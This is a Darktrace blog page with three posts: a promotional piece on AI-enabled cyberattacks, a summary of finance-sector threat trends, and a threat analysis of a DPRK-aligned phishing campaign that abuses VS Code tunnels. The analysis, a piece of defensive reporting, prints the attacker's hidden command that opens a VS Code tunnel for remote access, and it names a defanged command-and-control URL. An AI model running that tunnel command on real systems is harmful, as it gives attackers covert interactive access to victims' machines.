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September 6, 2023

Preparing Security Defenses For the AI Cyber Attack Era

The threat of AI being used in cyberattacks is growing. Learn how Darktrace is harnessing the power of AI to protect security systems against these attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Jack Stockdale OBE FREng
Chief Technology Officer
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06
Sep 2023

The last 12 months have been a watershed moment in the public perception and adoption of AI. With the rise of generative AI systems like ChatGPT and Google Bard, AI is becoming more embedded in our everyday lives and there is a lot of hype around what these tools can – or will - do.  

In cyber security, AI is a double-edged sword. Its use by cyber-attackers is still in its infancy, but Darktrace expects that the mass availability of generative AI tools like ChatGPT will significantly enhance attackers’ capabilities by providing better tools to generate and automate human-like attacks. There are three areas where Darktrace sees potential for AI to significantly enhance the capabilities of attackers: increasing the sophistication of low-level threat actors, increasing the speed of attacks through automation and eroding trust among users.

We’ve already started to see some potential indicators of these shifts.

In April, Darktrace revealed a 135% increase in ‘novel social engineering attacks’ – email attacks that show a strong linguistic deviation from other phishing emails – from January to February 2023 [1]. The timing corresponds with the widespread adoption of ChatGPT and suggests the use of generative AI tools is providing an avenue for threat actors to craft more sophisticated and targeted attacks, at speed and scale.

Between May and July this year, our Cyber AI Research Centre observed that multistage payload attacks, in which a malicious email encourages the recipient to follow a series of steps before delivering a payload or attempting to harvest sensitive information, have increased by an average of 59% across Darktrace customers. Nearly 50,000 more of these attacks were detected by Darktrace in July than May, indicating potential use of automation, and the speed of these types of attacks will likely rise as greater automation and AI are adopted and applied by attackers.

In the same period, Darktrace has seen changes in attacks that abuse trust. While VIP impersonation – phishing emails that mimic senior executives – decreased 11%, email account takeover attempts increased by 52% and impersonation of the internal IT team increased by 19% [2]. The changes suggest that as employees have become better attuned to the impersonation of senior executives, attackers are pivoting to impersonating IT teams to launch their attacks. While it’s common for attackers to pivot and adjust their techniques as efficacy declines, generative AI –  particularly deepfakes - has the potential to disrupt this pattern in favor of attackers. Factors like increasing linguistic sophistication and highly realistic voice deep fakes could more easily be deployed to deceive employees.

These early indicators give us a glimpse of a new era of disruption and challenges for cyber security. An era where novel is the new normal.

Darktrace was built for this moment.

Darktrace began ten years ago as an AI Research Centre. We saw that AI could address an existential threat – defending people, businesses and nations from a world of constantly evolving threats. This threat is only poised to grow as AI is increasingly used by attackers. That’s why we became one of the first to apply AI to cyber security and built a completely AI native technology platform aimed at freeing the world of cyber disruption.

We built everything at Darktrace with the same philosophy of using the right AI and the right data for the job.

Most AI today is trained periodically in offline training environments on huge amounts of combined historic training data. You give all that data to the AI, and then after a few days or weeks, you get a static AI model which you push live to serve its role until the next version is ready. This is ideal for tasks like generating imagery or, in cyber security, checking against known attack patterns, but the AI is static – it doesn’t learn or adapt until the next version is pushed live.

Darktrace takes a different and unique approach to nearly everyone else in cyber security. Our distinction lies in the algorithms we use, the data we use AND, most importantly, in how the two interact.  

Instead of taking your data to the AI, we take our AI to your data. Inside every single customer lies a Darktrace AI that is completely unique to them – their OWN data AI pipeline – plugged into their enterprise and self-learning in real time from everything that happens in their digital world –including email, cloud environments, manufacturing and operational systems, and physical locations.

The pace of new threats and the sophistication of the technology, including the use of AI, now outpaces any notion that a week old view of historic cyber threats can fully protect a business – either from the new threats that we’re seeing today from the sudden availability of generative AI tools, or the threats of tomorrow. For example, automated deepfakes where you can’t trust what you’re hearing or seeing, your employees being tricked into being inadvertent insiders, or self-evolving code designed to evade the best of those legacy defenses.

And because the increased use of AI in attacks will mean novel attacks will become the new normal, only Darktrace stands between those attacks succeeding or failing. We’ve seen this before with our technology detecting, and protecting customers against, Log4J, supply chain attacks like SolarWinds, the novel phishing scams we saw during the Covid-19 lockdowns, zero days like the Citrix Netscaler attack, novel ransomware worms such as WannaCry, or sophisticated nation-state attacks like APT35. We didn’t protect businesses because we were looking specifically for these threats, but we found them because every threat, whether known or novel, accidental or malicious, human or AI driven, impacts the customer, its people and its data.

The right AI for the right job

Today we’re on our 6th generation of Darktrace AI and, as we’ve innovated and developed, we’ve built a platform of applied AI techniques and algorithms that utilise Darktrace’s live, tailored knowledge of a business, to defend it alongside human security teams. Our focus has always been on using the right AI and the right data for the job, which is why our software uses:

  • A wide range of our own self-learning methods to understand new information and decide if something never seen before looks suspicious.
  • Real time Bayesian Probabilistic Methods allow models to be efficiently updated and controlled in real time.
  • Generative and applied AI run simulated phishing campaigns, tabletop exercises and realistic drills.
  • Deep-neural networks replicate the thought process of humans.
  • Graph theory understands the incredibly complex relationships between people, systems, organizations and supply chains.
  • Offensive AI techniques such as Generative Adversarial Networks (GANs) help to test and improve our ability to counter AI driven attacks.  
  • Natural language processing and large language models interpret and produce human consumable output.

This complex platform of AI tools and techniques, all sat within a business, focused on the customers’ data, brings a range of advantages in data privacy, explainability and data transfer costs. But its main achievement is the one we set out for ten years ago. It can provide protection that is always on - always learning, able to detect and stop the unusual, the suspicious and the novel – and, ultimately, to protect our customers from it. That’s what we’ve always done and that’s what we will continue to do, regardless of how the landscape shifts.


[1] Based on the average change in email attacks between January and February 2023 detected across Darktrace/Email deployments with control of outliers.

[2] Based on the change in the average number of emails assigned this classification per 10,000 emails on each Darktrace/Email deployment in May versus July 2023 (significantly more than 1,000 deployments in total).

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Jack Stockdale OBE FREng
Chief Technology Officer

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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